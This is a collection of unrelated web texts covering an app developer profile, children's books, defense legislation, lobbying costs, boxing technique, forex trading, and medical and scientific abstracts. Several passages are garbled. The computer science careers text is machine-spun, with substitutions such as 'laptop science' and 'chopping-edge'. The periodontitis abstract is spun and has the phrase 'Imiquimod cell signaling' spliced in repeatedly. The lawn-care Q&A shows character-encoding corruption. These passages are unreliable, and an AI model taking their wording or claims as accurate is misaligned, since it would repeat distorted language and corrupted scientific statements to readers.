Then, Apple co-founder Steve Jobs died in October of that year. Free Candle was used in tributes to Jobs outside Apple stores around the world, receiving widespread news coverage.
“It got about a million downloads the day after it was first shown,” he said. “It was the No. 1 app in the Lifestyles category in a few countries at one point.”
The app has now been downloaded 2.3 million times. Since its release, Ulrich has added features including a flashlight and additional candle sets. More upgrades are in the works.
Last summer, Ulrich was an intern at eBay in Portland, where he worked on the company’s iPhone app. He now works remotely for eBay from Corvallis and plans to continue work on its iPhone project “for the foreseeable future” while he completes his undergraduate work. He still develops apps for Poets Road on a freelance basis and plans to continue his career as an iOS engineer.
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AJ wants to do all the activities on his super fun list, but it's summertime and everything on his list is a winter activity. Sparks' Crew works together to devise solutions for adapting to the seasonal changes. Curriculum: Humans devise solutions for adapting to seasonal changes. / On a cold winter morning, Fur Blur isn't her usual self: she keeps sleeping. Sparks' Crew takes her to see Benny's grandfather, a veterinarian. But, it's a challenge to get there through the snow. Curriculum: Seasonal changes require us to change the way we do things. Animals can adapt to the winter in their own ways, such as hibernation.
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19 Great Thanksgiving Books To Share With Your Kids
(Please note that this post includes affiliate links. Read my full disclosures here.)
Books are one of our favorite ways to spend time together. Even as babies, my kids would bring me books and want to cuddle and read together.
As a large family of avid readers, we have a pretty extensive library, with a whole section devoted just to holiday books. We love to drag them out (we keep them in our reading basket) for each holiday and reading them has become a tradition we use to celebrate each holiday.
I think our Christmas collection is my very favorite, but Thanksgiving is definitely a close second.
I thought I’d share our favorites with you. Most of them are very inexpensive. I’m sure most of them are also available at your local library, but you will probably need to reserve them ahead of time, as the holiday books are always the most in demand.
Whether you decide to purchase a few or borrow them from the library, here’s the list of our favorites for you, divided up by age! When you get to the bottom, please leave a comment with your family’s favorite. That way, we can grow our libraries together!
Baby & Toddler Thanksgiving Books
Corduroy’s Thanksgiving by Lisa McCue
Where is Baby’s Turkey? a lift-the-flap book by Karen Katz
This First Thanksgiving Day: A Counting Story by Laura Krauss Melmed
Thanksgiving is for Giving Thanks by Margaret Sutherland
Children’s Picture Books About Thanksgiving
Squanto and the Miracle of Thanksgiving by Eric Metaxas
The Pilgrim’s First Thanksgiving by Anne McGovern
The Story of the Pilgrims by Katherine Ross
The Thanksgiving Story by Alice Dalgliesh
Cranberry Thanksgiving by Harry Devlin
Thank you, Sarah: The Woman who Saved Thanksgiving by Laurie Halse Anderson
The Night Before Thanksgiving by Natasha Wing
Pete the Cat: The First Thanksgiving by James and Kimberly Dean
The Berenstain Bears Give Thanks by Jan and Mike Berenstain
The Berenstain Bears Thanksgiving Blessings by Jan and Mike Berenstain
Beginning Reader Thanksgiving Books
Amelia Bedelia Talks Turkey by Herman Parish
It’s Thanksgiving! by Jack Prelutsky
I Spy Thanksgiving (Level 1 Reader) by Jean Marzollo
Chapter Books About Thanksgiving
Squanto: Friend of the Pilgrims by Clyde Robert Bulla
Three Young Pilgrims by Cheryl Harness
An Old-Fashioned Thanksgiving by Louisa May Alcott
Plus, reading is just so much fun! I hope you enjoy this list of Thanksgiving books with your kiddos. Happy Thanksgiving!
You’ll also enjoy:
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About this course: Probabilistic graphical models (PGMs) are a rich framework for encoding probability distributions over complex domains: joint (multivariate) distributions over large numbers of random variables that interact with each other. These representations sit at the intersection of statistics and computer science, relying on concepts from probability theory, graph algorithms, machine learning, and more. They are the basis for the state-of-the-art methods in a wide variety of applications, such as medical diagnosis, image understanding, speech recognition, natural language processing, and many, many more. They are also a foundational tool in formulating many machine learning problems. This course is the second in a sequence of three.
We present a new method for automatically providing feedback for introductory programming problems. In order to use this method, we need a reference implementation of the assignment, and an error model consisting of potential corrections to errors that students might make. Using this information, the system automatically derives minimal corrections to student's incorrect solutions, providing them with a quantifiable measure of exactly how incorrect a given solution was, as well as feedback about what they did wrong. We introduce a simple language for describing error models in terms of correction rules, and formally define a rule-directed translation strategy that reduces the problem of finding minimal corrections in an incorrect program to the problem of synthesizing a correct program from a sketch. We have evaluated our system on thousands of real student attempts obtained from 6.00 and 6.00x. Our results show that relatively simple error models can correct on average 65% of all incorrect submissions.
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There are separate levels for IT, however CS majors usually must know a minimum of a base understanding of IT. Computer engineering is studying how to design and preserve the hardware the retains computer system working.
In order to continue innovating and creating new applied sciences, although, we have to perceive how these applied sciences work. The Computer Science and Information Technology pathway will appeal to students who wish to be in a chopping-edge, ever altering surroundings with the power to work in practically any industry. Generally, students will work with laptop hardware, software, multimedia or community techniques. The NC K-12 CS Standards are organized by grade band in K-8, and by course in high school. Grade bands embrace K-2, 3-5, and 6-8, while High School programs embody Introduction to CS (ICS) and CS Discipline-Specific Courses (HS).
Software application engineers are the IT business’s experts who develop working methods, middleware, pc games, business functions, databases, and network control methods. Software software engineers work intently with groups of other IT professionals who specialize in growing the multiple layers of laptop software to collaborate and contribute to the evolution of the rapidly altering IT business.
The distributions of average ACT/SAT equivalent scores of admitted students in 2015–2016 have been additionally similar across the sample and inhabitants of CS applications (see SI Appendix for extra particulars). Elite programs in the United States were identified as those from schools with common ACT/SAT equal scores of 1,250 (of 1,600) or greater; these packages produce ∼19% of the country’s CS graduates . Team projects make up a core element of the BS in Computer Science curriculum. As a scholar in this system, you’ll work along with your classmates to develop a series of advanced software program purposes or tools with the aim of implementing certain technical features or options. Students have the choice to work on non-recreation software purposes or multidisciplinary recreation initiatives.
will help you study to investigate, design, and implement computer-based mostly techniques–an important element in every industry across our increasingly digital world. Students are inspired to work with an academic adviser for planning and course choice. The BS degree in pc science is accredited by the Computing Accreditation Commission of ABET.
Online Courses: The One Course a Month Option
Information know-how could attraction extra to individuals who prefer to work in teams, or instantly with clients and clients. Recently a new field emerged beneath the umbrella of pc science and is promised to flourish more in 2020.
Computer programming MOOCs are available for several laptop languages and provide a wonderful introduction to the fundamentals of programming. Other courses are designed for knowledgeable code writers to broaden and deepen their programming knowledge. Information Technology Information expertise refers to a broad range of computer-associated subjects extending to virtually all facets of the digital world and telecommunications. Therefore, necessary lessons embrace human data processing, complicated methods, intelligent informatics, brain and cognitive science, bioinformatics, and simulation technologies. Cutting-edge data concerning mind and neural processing obtained by our behavioral and physiological experiments with computational theory enhances developments of neural engineering corresponding to Brain Machine Interface (BMI) and Virtual Reality (VR).
Course Catalog – Computer Science
Demand for these employees will stem from higher emphasis on cloud computing, the gathering and storage of massive information, and information security. We tremendously respect research funding from Eric (ShiMo) Li, the Basic Research Program of the National Research University Higher School of Economics, and the All India Council for Technical Education. Similarly, little is known about how CS abilities differ by essential background characteristics, similar to gender.
Web, software program and cellular builders are answerable for designing, developing, putting in, testing and sustaining software techniques. The job requires coding, designing and constructing functions, web sites or cellular apps, working with multiple programming languages corresponding to C#, C++, HTML, Java, Microsoft .NET and SQL Server. Developers need to be able to perceive consumer necessities and be able to provide suggestions for improving internet, software and cellular applications to ensure they meet person wants. Database directors use software program to manage information capacity for businesses, government bureaus, and different organizations. A bachelor’s diploma in an data expertise related subject together with experience building databases are typical necessities.
Both of these careers have excellent development potential and high salaries, with software developers somewhat forward of IT professionals in earnings. The latest stats show that college students graduating in pc science have the possibility to start their career with the best paying salaries as compared to other domains. They are high in demand, they usually can afford to be choosy about their trade to start out with. Technology has been growing exponentially over the previous a long time, and industries are looking for fresh graduates in new applied sciences in laptop science who can be a part of their staff and assist them to remodel their ideas in a greater manner.
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鏄?/div>鏍规嵁 2 涓潵婧?/li>
People also ask
Can you plant grass seed in a weedy lawn?
Grass seed can be planted in a weedy lawn. However, if the weeds are very thick, you will get better results if you deal with the weeds first. If there are just a few weeds, pull the largest ones, then apply the grass seed. How can I prevent weeds when planting grass? We鈥檝e all heard the saying, 鈥淎n ounce of prevention is worth a pound of cure!鈥?/div>Planting Grass Seed Over Existing Weeds | Obsessed Lawn
How is grass seed planted?
The planting of the seeds happens with a grass seeder or spreader. These are either hand machines or a machine attached to a push bar. They both do the trick. The aeration of the soil allows for the seeds to fall and places the seeds just below the soil.
When is the best time to plant grass seed?
The middle of summer is also the worst time to plant grass seed. Weeds will dominate any thin areas of lawns! Try to catch thin areas of the lawn in the spring when the weeds are just starting to take over. This is a great time to apply new grass seed and choke out the weeds! The weeds will win the battle for your yard in the summer.
How to plant grass on fill dirt?
The Process of Planting Grass On Fill Dirt 1. Time It Right 2. Choose The Right Seed 3. Prepare The Soil 4. Even Out The Surface 5. Improve Soil Quality 6. Seed and Feed 7. Add More Soil 8. Water
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Introduction: Few studies explore the clinical features of youth suicide by poisoning. The use of both social and clinical features of self-poisoning with suicidal intent could be helpful in enhancing existing and creating new prevention strategies. We sought to characterize self-poisonings with suicide intent in ages 0 to 21 years reported to three regional poison control centers from 2003-2012. Methods: This study was a blinded retrospective review of intentional self-poisonings by those age 21 or younger captured by the Poison Information Control Network. Age, sex, substance(s) used, medical outcome, management site, clinical effects, and therapies were described using counts and percentages and analyzed using chi-square tests. We analyzed the medical outcome ranging from no effect to death using the Wilcoxon rank-sum test. Serious medical outcome was defined as death or major outcome. Results: We analyzed a total of 29,737 cases. The majority were females (20,945;70.5%), of whom 274 (1.3%) were pregnant. Most cases were 15-18 year olds (15,520;52.2%). Many experienced no effects (9,068;30.5%) or minor medical outcomes (8,612;29%). Males had more serious medical outcomes (p<0.0001), but females were more likely to be admitted to a critical care unit (p<0.0001). There were 17 deaths (0.06%), most in males (10;p=0.008). Of the 52 substances reported in the death cases, 12 (23.1%) were analgesics. In eight (47.1%) of the deaths, over two substances were used. Overall, drowsiness/lethargy (7,097;19.3%) and single-dose charcoal (8,815;16.3%) were frequently reported. Nearly 20% were admitted to critical care units (5,727;19.3%) and 28.7% went to psychiatric facilities (8,523). Of those admitted to hospitals (8,203), nearly 70% (5,727) required critical care units. Almost half < 10 years old were evaluated and released (43;47.2%). Of the 114 reported substances for this population, 22.8% involved psychotropic medications, 15.8% analgesics, and 14% Attention Deficit-Hyperactive Disorder (ADHD) medications. Analgesics (13,539;33.6%) were the most common medication category used by all age groups. Typically only one substance (20,549;69.1%) was used. Conclusion: Undiagnosed ADHD may be a potential underlying cause for self-harming behaviors in the very young. Gender-specific suicide prevention strategies may be more effective at identifying those at risk than traditional measures alone. Further study into admitting practices by emergency physicians is needed to understand the difference in critical care admission rates based on gender. Once identified to be at-risk for suicidal behavior, access to analgesics and psychotropics should be monitored by care-givers especially in those between the ages of 15-18.
ASJC Scopus subject areas
- Emergency Medicine
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Forex trading is some of the most interesting trading done on the global markets day in and out. Forex trading also has some of the most varied types of traders as the markets come to live all day long as a result of timezones and the sheer amount of currencies and currency pairs you could be trading. In forex the most important factor is often timing, as profits in these markets are made from tiny fluctuations in a currency’s value against another currency. Let’s look at the most common types of forex traders in this Trading101 article and what being them or signing with them could mean for you.
The most common, and to many, the most appealing form of trader is the Day Trader. As the name implies, day traders trade during the day, every working day. Day Traders avoid holding any foreign currency overnight to avoid paying the interest of owning said currencies and will look to make dozens of transactions day in and out. Day Traders are short term traders looking for trades with a quick turnover rate to maximise their profits. Traders of this nature are often seen looking at charts that update themselves in minute-long patterns, looking for volatile currency pairs that they can profit from the most. An example pair of this would be GBP/JPY (British Pound/Japanese Yen) as they can fluctuate as high as 100 pips or more in an hour alone. These ranges tend to be lower in other pairs, but are profitable nonetheless.
The next trader type we need to look at is the Swing Trader. Swing Traders use a longer timeframe to trade, holding open positions somewhere from hours to several days at a time. Timing plays an even more important factor for the Swing Trader when compared to a Day Trader as they’re looking to profit the most from a turn in the market, where they would go into profit by entering the market in the first place. A good Swing Trader will often look for very liquid currencies to use such as the US Dollar or British Pound due to their availability to fulfil calls and open positions.
The last type of trader to consider becoming is the Position Trader. This trader normally plays in the longest time frame of the three we’re discussing in this article. Position Traders can hold their positions for weeks, months and in some cases even years. They tend to use more technical strategies and plans and stay strictly for their belief in long-term payoffs. They care a lot more about economic models, government actions, interest rates and other major global economic factors that will determine whether a currency is worth trading. Position traders tend to favor very liquid currencies such as the big 8 as well as that of emerging markets due to the economic upswing a lot of them are experiencing, making for some great long term trade potential, especially if a country’s currency is continuously rising in terms of value.
Regardless of the type of trader anyone wants to be, the same trading 101 principles apply of all when it comes to strategy, emotions, and human error. All three traders are affected by the release of news, whether scheduled or not, as a crisis in one country and throw financial markets across the sea into disarray faster than many people realize.
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Congress has voted to enact a $741 billion defense policy bill over the objections of President Donald J. Trump, who vetoed the long-running annual legislation on Dec. 23.
The Senate overrode Trump’s veto 81-13 on New Year’s Day, following the House’s 322-87 vote on Dec. 28. Their rare bipartisan move greenlighted billions of dollars for troop pay, weapons programs, and military construction, plus hundreds of provisions directing how the military should spend that money and detailing reports due to Congress.
It’s the first time lawmakers have amassed the two-thirds majority needed in each chamber to overturn a Trump veto. Six senators—including Republicans David Perdue and and Kelly Loeffler, who both face runoff elections on Jan. 5 to keep their seats in Georgia—and 21 congressmen did not participate.
An unsuccessful attempt to tie passage of $2,000 pandemic aid checks to Americans also slowed the NDAA’s progress, but did not derail it entirely.
“Not only does this bill give our service members and their families the resources they need, but it also makes our nation more secure—pushing back against China and Russia, strengthening our cyber defenses, and accelerating innovation into the technologies that will keep our children’s children safe,” Sen. Jim Inhofe (R-Okla.), head of the Senate Armed Services Committee, said in a Jan. 1 release.
The Fiscal 2021 National Defense Authorization Act allows $740.5 billion in spending for the Pentagon and other national security programs through Sept. 30, 2021. Negotiations encountered hurdles due to the coronavirus, which prevented lawmakers from gathering in close quarters to discuss ideas like usual, as well as election-year politicking.
It hit last-minute challenges as Trump demanded Congress include an unrelated provision to end legal protections for social media companies. He also opposed the bill over its language to start the process of renaming military installations that honor Confederate icons, like Fort Bragg, N.C.
Enactment is a late win for the legislation that has now become law for 60 years running, and is touted as one of the most important bills Congress works on each year.
House Armed Services Committee Chairman Rep. Adam Smith (D-Wash.) called its support “a testament to the merits of this year’s bill.” That contrasts with the previous year’s NDAA that garnered unusually partisan votes because of disagreements over issues like nuclear weapons.
Trump’s 11th-hour opposition to the broadly popular bill threw a wrench into what is typically a smooth, if delayed, approval process. The President vetoed the NDAA hours before it would have automatically taken effect at midnight Dec. 24 without further action from the White House. That prompted a holiday scramble to nullify his decision, while also trying to lock in a $1.4 trillion appropriations bill for fiscal 2021 and $900 billion in coronavirus pandemic aid.
Trump signed the spending package into law Dec. 27 as a government shutdown loomed. The authorization and appropriations bills come three months into the fiscal year they enable.
Congress granted most of the Department of the Air Force’s $169 billion wish list. The omnibus appropriations language provides $32.8 billion for Active-duty Airmen, $33.5 billion for Active-duty operations and maintenance, $45.3 billion for procurement, and $36.4 billion for research and development in the base budget. The Space Force’s base budget includes $2.5 billion for O&M, $2.3 billion for procurement, and $10.5 billion for R&D.
The Overseas Contingency Operations budget provides millions more dollars for counterterrorism and other missions outside of the base account as well.
Getting both sets of legislation across the finish line dispels concerns about how lawmakers would move forward with unfinished business after the new Congress began Jan. 3. Work is already underway on the same bills for fiscal 2022, to be tackled by a Democratic White House and a House and Senate that are both narrowly split.
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Craig Brammer (left), of the public health sciences department, and Robert Graham, MD (right), of family medicine, will lead UC’s participation in a national pilot program aimed at improving health care.
Disconnect within a health care setting is a reality—and a major problem.
Patients may see their doctors once a year for only a brief visit, leaving room for misinterpretation of instructions or an opportunity to ignore suggestions for follow-up or preventative care.
Now, UC internal and family medicine faculty members are taking steps to create a cohesive plan for managing patient care in addition to cutting costs.
This model—the Patient-Centered Medical Home pilot—will involve a total of 11 primary care practices in the Greater Cincinnati area and is being supported by the Greater Cincinnati Aligning Forces for Quality (AF4Q), an initiative of the Health Improvement Collaborative of Greater Cincinnati.
“This model is an approach to providing comprehensive primary care while facilitating partnerships between patients, their families and physicians,” says Robert Graham, MD, professor of family medicine and chair of the Patient-Centered Medical Home Work Group, a part of the AF4Q program.
“Medical care in the U.S. has become fragmented and not responsive to patients’ needs for coordinated care.
“We hope this broad approach will allow better access to care, increase satisfaction and improve health as a whole.
“We’re pleased that UC’s primary practices are part of this important, leading-edge program.”
The pilot will focus on disease prevention and maintenance of good health with primary care physicians coordinating care with specialists to tailor care to a patient’s specific needs.
Patients will have access to a medical home team that knows their histories and will help them navigate the health care system and work on proactive health measures to stop disease before it starts.
The practices—consisting of 35 physicians—will serve approximately 30,000 local patients and will be paid an additional care management fee for about one-third of their patients. Anthem Blue Cross and Blue Shield, Humana Inc., UnitedHealthcare of Ohio and several employers are supporting the pilot.
The model is founded on the idea that by paying these doctors for the services patients value most, they will have the ability to give more time and attention to their patients, helping to avoid unnecessary and expensive tests, hospitalizations and emergency visits, and ultimately saving money for insurers, employers and patients.
“With this medical home pilot in place, the hope is that that we can see more patients while providing better care,” says Manoj Singh, MD, a family medicine physician with UC Health.
“We’re constantly on a treadmill where we are pressured to see more and more patients,” he continues. “This will hopefully take some of that pressure away and will allow us to truly focus on the health of the patient to provide better quality of care.”
The effectiveness of the model will be carefully evaluated by Meredith Rosenthal, PhD, in the Harvard School of Public Health. She will assess practice data generated during the pilot.
“This pilot is one of very few across the nation that is bringing multiple health insurance companies, employers and providers together to focus reimbursement on prevention and health maintenance rather than responding to acute illness,” says Craig Brammer, senior research associate in UC’s department of public health sciences and director of Cincinnati AF4Q.
“With a national focus on health reform, it’s important to note that innovative, locally driven efforts are often the basis for the kind of health care transformation that ultimately needs to happen.”
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The cause for this warning message are 1. This often happened to some older P4 motherboards because BIOS is outdated. 2. You can enter into your BIOS setup by pressing F2 and set HDD Auto detection in to USER mode. This will skip auto detecting disks. Nextly update your BIOS. http://www.joyfax.com/?ref=VIVIAN
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opinions may not be accurate and they are to be used at your own risk.
Computing.Net cannot verify the validity of the statements made on this
site. Computing.Net and Purch hereby disclaim all responsibility
and liability for the content of Computing.Net and its accuracy.
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Harper’s Keystone XL lobbying trip funded by $65,000 in tax dollars
by Carol Linnitt – Originally posted on DeSmog Canada
The hotel rental for Prime Minister Stephen Harper’s September visit to New York City cost Canadian taxpayers a total of $56,582.91, according to documents recently released by CTV News.
“Canada and the U.S. are making important progress on enhancing trade, travel and investment flows between our two countries, including securing our borders, speeding up trade and travel, modernizing infrastructure in integrated sectors of the North American economy, and harmonizing regulations,” Harper said at the event. “But there is much more that can be done, and must be done, to make our economic relationship more productive and seamless.”
The event, organized by the Canadian American Business Council, gave Harper the opportunity to tell an audience of American business executives that he wouldn’t “take no for an answer” on the controversial Keystone XL pipeline, planned to carry tar sands crude from Alberta to oil refineries in the Gulf of Mexico.
Hotel bill mistakenly sent to CTV
The hotel bill for the luxurious New York Palace Hotel, which was mistakenly sent to CTV’s Washington bureau, suggests Harper’s speaking engagement was a staged promotional gathering for the Keystone XL, rather that a typical guest speaker event which are usually paid for by the host.
The hotel charges include coffee services for $6,650.00, room rental for $33,500.00 and audio visual services of $14,709.15. An overall service charge for the room and coffee came to $9,234.50.
According to CTV, the event was co-hosted with the Canadian American Business Council, which claimed to ‘share’ the costs for the event with the Harper Government.
Maryscott Greenwood, senior advisor for the Council said, “the costs were shared…we paid for pieces of it.”
The “Voice of Business”
On their website the Canadian American Business Council claims to be “the voice of business in the world’s most prosperous relationship. Established in 1987 in Washington, D.C., the Council is a non-profit, non-partisan, issues-oriented organization dedicated to elevating the private sector perspective on issues that affect our two nations, Canada and the United States.”
Membership to the Council requires a $5,500 annual fee, with conference sponsorships running up to $25,000 per event. Members of the Council include the Canadian Association of Petroleum Producers, the Canadian Embassy, the Government of Alberta and TransCanada among many other major oil and gas companies.
In 2012, the Council listed “Approval of the Keystone XL pipeline that would bring Canadian crude oil to the U.S. gulf refineries” in its top ten ‘list of issues.’
Andrew Shaw, who works for the Council, is also a registered lobbyist for the Keystone XL pipeline with KcKenna, Long & Aldridge. Shaw was hired by TransCanada to lobby on the topic of “permitting issues regarding the Keystone XL pipeline,” lobbying disclosure documents show.
According to further lobbyist documents, Shaw was also hired by the Canadian Association of Petroleum Producers, Canada’s largest oil and gas lobby firm, to speak with members of the U.S. Senate and the U.S. House of Representatives about American environmental legislation or policies that might have implications on the development of Canada’s tar sands.
TransCanada spends millions on US lobbying
A recent white paper report released by DeSmog Canada shows TransCanada has spent $2.78 million on in-company lobbyists and $1.26 million on U.S. based lobby firms, including McKenna, Long & Aldridge, since 2010.
The white paper also shows that since 2010-2011 the Harper Government’s spending of taxpayer funds to promote the tar sands and Canada’s environmental performance has increased by 7000 percent with plans to further increase in the 2013-2014 year.
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Posted 11 years ago
This trench art "cartridge letter opener" is typical of the post war souvenir trade.
The bullet has an applied crest (some have buttons).
The blade shows more hand work than is typically encountered. The blade is from a copper driving band (most are from shell brass). Additionally, the name "Arras" has been expertly cut from the copper, while most pieces will simply have the name punch engraved.
The Battle of Arras was fought in April and May of 1917, on the Western Front near the city of Arras. The offensive pushed Allied lines but did not achieve a breakthrough.
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Rhythm is an essential component of all aspects of life. The majority of things in nature, as well as human creations, have a rhythm. The word can be defined as a repeated pattern of movement or sound. We often associate rhythm with music because it is easily defined, but it applies to most aspects of life, including fighting, and particularly boxing.
Boxing rhythm is a difficult term to define because it encompasses more than one aspect of the sweet science. By the end of this article, you should have a solid understanding of what boxing rhythm is and, hopefully, will be able to watch matches in a more in-depth manner.
You watch my video version below or continue reading:
How is rhythm applied to boxing?
Humans are creatures of patterns and rhythm. Once they become proficient at something, they always apply pre-set patterns and rhythms that make the endeavor infinitely more effective. In boxing, rhythm is defined as the timing of repeated movement patterns. Rhythm is used for footwork movement, upper body movement, punching, or a combination of all of them.
There is a great quote by one of the greatest boxers of all time Sugar Ray Robinson. Who gives a brilliant take on how it is applied in the ring.
Types of boxing rhythm
It’s time to look at the specifics of the 3 types of boxing rhythm.
The most obvious is the rhythm of footwork. The feet move to a specific rhythm, similar to dancing. In contrast to dancing, where partners strive to be in sync with the rhythm, boxers attempt to predict and disrupt their opponent’s rhythm. Boxers who frequently bounce on their toes have a very distinct and visible footwork rhythm, whereas flat-footed boxers use it much less frequently.
A prime example of this may be Manny Pacquiao, who bounces on his feet for most of the fight. Cuban boxers are also well known for their precision footwork and often fight with a distinct footwork rhythm. Many of them are also adept at salsa dancing, which may be a serious factor in the development of such a rhythm for the ring. Check out my video on Dmitry Bivol below who uses footwork to bounce in and out of range.
Upper body movement
The next boxing rhythm is upper body movement. This includes moving the head, shoulders, and arms in any repeated and rhythmic fashion-up and down, circular or forwards and backward. This also includes movement at the waist and hips.
Despite the name, upper body movement does include some movement in the legs as well. Slipping can be done in place and is considered upper body movement, but the legs still play a pivotal role, as the knees have to be bent for an effective slip.
Mike Tyson was a master at moving forward while slipping punches and getting into his desired range using the peek-a-boo style. His aggressive forward march is a nice example of combining upper body rhythm with footwork.
The third type of boxing rhythm is punching rhythm. This refers to the speed and force with which you throw punches, particularly combinations. Throwing all of the strikes in a combination with the same power and spacing between punches establishes a rhythm. One of the very best at doing this was Manny Pacquiao or a more modern example including Lomachenko or Linares.
Experienced boxers can anticipate this rhythm and defend and counter effectively. The Philly shell, perfected by fighters such as Floyd Mayweather and James Toney, is a great example of using punching rhythm defensively. They were able to completely negate entire combinations by rolling their shoulders in the same rhythm as the incoming punches.
How to effectively use boxing rhythm
If you watch a boxing contest more carefully, you will notice that the winning fighter is usually the one forcing his rhythm. Fighting outside of your comfort zone always spells trouble. If you watch fighters like Canelo, Andre Ward, and Terence Crawford, for example, you will notice that they are always able to force their rhythm on the opponent. As a result, their opponents are frequently forced to strike or move too quickly, leaving them overreaching and out of position. This makes them easier to counter and causes them to tire out faster.
A certain sign of superiority is breaking the opponent’s rhythm. Another important point to remember is that you should not always fight in the same rhythm. After a certain level, all boxers are able to pick up the opponent’s rhythm and use it to time counters. So it’s very important to not rely on the same patterns. Breaking your own rhythm intentionally may be as important as breaking that of your opponent.
Beginners tend to throw everything with full power and speed. But this is easily predictable, especially when they use only a couple of combinations. It’s far better to throw some lighter shots and mix in some power swings in between. This also applies to speed. Changing the speed of your punches is the best way to confuse the opponent and make your strikes significantly harder to defend. A 1-2-3-2 punch combo does not always need to be at the same tempo. Make a small pause after the left hook and see how difficult it becomes for the foe to defend the final cross.
Rhythm comes through time
The only way to develop rhythm is to practice the art of boxing. Beginners move awkwardly and without any fluidity. This has only one advantage, and that is that such a movement is unpredictable. However, it is ineffective in every way- offensively, defensively, and energy-wise.
In time and with enough practice, boxers always start to develop certain patterns. Some favor footwork, others upper body movement. Each person develops his own unique rhythms and patterns. Then you start implementing different types of rhythm together and move fluidly between offense and defense.
And once you reach a certain level, you start to recognize your rhythm and begin breaking it on purpose to confuse the opponent. As much as rhythm is needed to move and fight with efficiency if you always move the same way, you become too predictable.
Shadowboxing, the heavy bag, sparring, and other types of exercise all build a rhythm. But some pieces of gear are even better at developing it. The fast and rhythmic double-end bag or cobra bag movement is very effective for this purpose. Even better would be the speed bag. This old-school piece of equipment is nearly impossible to keep moving without proper rhythm.
Hopefully, this article was able to give you a better understanding of how rhythm in boxing works.
I recommend you check out some more useful boxing technique articles below:
- The Science Behind The Shoulder Roll Technique In Boxing
- The Shift Technique in Boxing
- Gazelle Punch Technique Breakdown
- 6 Key Boxing Defensive Techniques – Hit And Don’t Get Hit
- Top 12 Advantages Of Being A Southpaw Boxer
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When you think of the sport of boxing, most will envision the devastating knockouts and punches. But once you truly get to know and love the sport you will start to have a true appreciation of the...
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People who regularly use marijuana have increased odds of experiencing significant symptoms of anxiety and depression, as well as an unusual sensitivity to the impact of emotional stress. This fact also holds true for occasional users of the drug. In a study published in June 2014 in the Proceedings of the National Academy of Sciences, researchers from three U.S. institutions sought to determine why marijuana users have heightened risks for unpleasant mood changes and stress reactions. These researchers concluded that the cause may be marijuana’s ability to alter the brain’s reaction to a key chemical called dopamine.
Marijuana and Mood
Marijuana has a fairly established reputation as a mood-enhancing and pleasure-enhancing drug. However, researchers have long noted that some marijuana consumers can develop unpleasant reactions to the drug, including bouts of paranoia and the hallucinations and delusional thinking normally associated with severe mental illnesses like schizophrenia. In a study published in 2010 in The American Journal of Drug and Alcohol Abuse, a team of Canadian researchers used data gathered from 14,531 Canadian adults to investigate the role of marijuana use in promoting bouts of anxiety and substantially “down” or depressed moods. These researchers concluded that habitual users of the drug are more than 100 percent more likely to experience these problems than people who don’t use marijuana. They also concluded that occasional or infrequent consumers of the drug have a roughly 43 percent higher chance of experiencing anxiety or depressed moods.
Dopamine is one of the brain chemicals that make it possible for nerve cells to “talk” to one another. Among other things, this chemical plays a critical role by helping to control activity levels in a part of the brain known as the pleasure center. Essentially, when dopamine levels rise in this brain area, sensations of pleasure grow stronger. Since humans have a natural preference for pleasurable experiences, they tend to regularly take part in activities that boost their dopamine levels (e.g., eating and having sex).
Dopamine response in the pleasure center is central to the risks for developing physical substance dependence and addiction. This is true because alcohol and the vast majority of mind-altering drugs and medications significantly boost the brain’s dopamine levels. Unfortunately, some consumers of these substances repeatedly use them for their pleasure-producing effects. Eventually, the brain will respond to this repeated substance exposure by changing its basic chemical environment and treating the substance in question as an ongoing requirement for its everyday function. In the case of many substances, this physically dependent state is equivalent with the onset of addiction. In the case of other substances (particularly opioid medications), addiction arises in some of those individuals affected by physical dependence.
Marijuana and Dopamine Changes
In the study published in the Proceedings of the National Academy of Sciences, researchers from the National Institute on Drug Abuse, Brookhaven National Laboratory and the National Institute on Alcohol Abuse and Alcoholism used a dopamine-based experiment involving 48 adults to explore the reasons marijuana use is linked to increased risks for anxiousness and other unpleasant states of mind. Twenty-four of these adults had problems that qualified them for a diagnosis of cannabis/marijuana abuse; the remaining 24 did not use marijuana. During the experiment, the researchers gave the members of both groups doses of methylphenidate, a stimulant-based ADHD medication known for its ability to elevate the brain’s dopamine levels. Next, they asked all of the participants to describe the feelings produced by methylphenidate and used brain scans to measure any dopamine-related brain changes.
At the beginning of the experiment, the study participants affected by marijuana abuse seemed to have just as much capacity to produce dopamine as the participants who didn’t use marijuana. However, after exposure to methylphenidate, the marijuana abusers showed a substantially weaker response to the effects of dopamine. The researchers linked this weakened response to marijuana users’ increased chances of developing anxious, depressed or otherwise unpleasant moods. They also concluded that the marijuana users with the weakest responses to dopamine’s normal effects were the most likely to experience unpleasant mood changes. In turn, the weakest responses to dopamine’s effects were found in those individuals most heavily affected by symptoms of marijuana addiction.
The study’s authors note that their experiment was not designed to determine if dopamine-related problems arise before or after marijuana use. This means that, while marijuana use may trigger these problems, the desire to offset preexisting dopamine-related mood changes may also explain why some people start using marijuana.
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Supplementary MaterialsNIHMS923971-supplement-supplement_1. and could end up being amenable to healing reversal. Launch Periodontitis, a bacterially-mediated chronic inflammatory disease from the tissue supporting the teeth is among the most common inflammatory illnesses in human beings and it could adversely influence systemic wellness (Armitage, 2004, Armitage, 2008). Country wide surveys show that most adults have problems with mild-to-moderate periodontitis, with up to 15% of the populace suffering from severe forms during their lives (Pihlstrom research further indicate these FN fragments, induce many detrimental results, including induction of apoptosis and suppression of osteoblast differentiation of periodontal ligament cells (Kapila along with and be prevalent in past due levels of subgingival biofilm formation and consist of the bacterial reddish colored complicated that is regarded pathogenic in the etiology of periodontal disease (Socransky frequently predominate in periodontal disease, though they are usually below detectable amounts in healthful gingival plaque (Choi enhance with the severe nature of periodontitis, underscoring its main role in the condition (Simonson are the acylated serine protease complicated (dentilisin; PrtP complicated; CTLP/chymotrypsin-like protease) that degrades gelatin, laminin Imiquimod cell signaling and different serum elements and bioactive peptides (Uitto adherence and cytotoxic results on epithelial cells and fibroblasts (Ellen problem (Miao protease activity and legislation of the cellular and tissue processes that result in periodontal tissue destruction. Imiquimod cell signaling Epigenetics is defined as heritable and potentially reversible changes in gene expression without alterations in the DNA sequence (Goldberg induce epigenetic modifications in host cells (reviewed in (Niller and genes in PDL cells involved in activation of MMP-2 (Miao may mediate epigenetic modifications that regulate MMP-2 activation and subsequent ECM degradation in the periodontium. Epigenetic modifications are potentially reversible, and, therefore, a thorough knowledge of these noticeable adjustments might identify brand-new therapeutic goals for disease administration. The purpose of this research was to research capability to chronically activate MMP appearance through epigenetic adjustments Imiquimod cell signaling in periodontal ligament cells/tissue, also to examine potential therapeutic techniques for 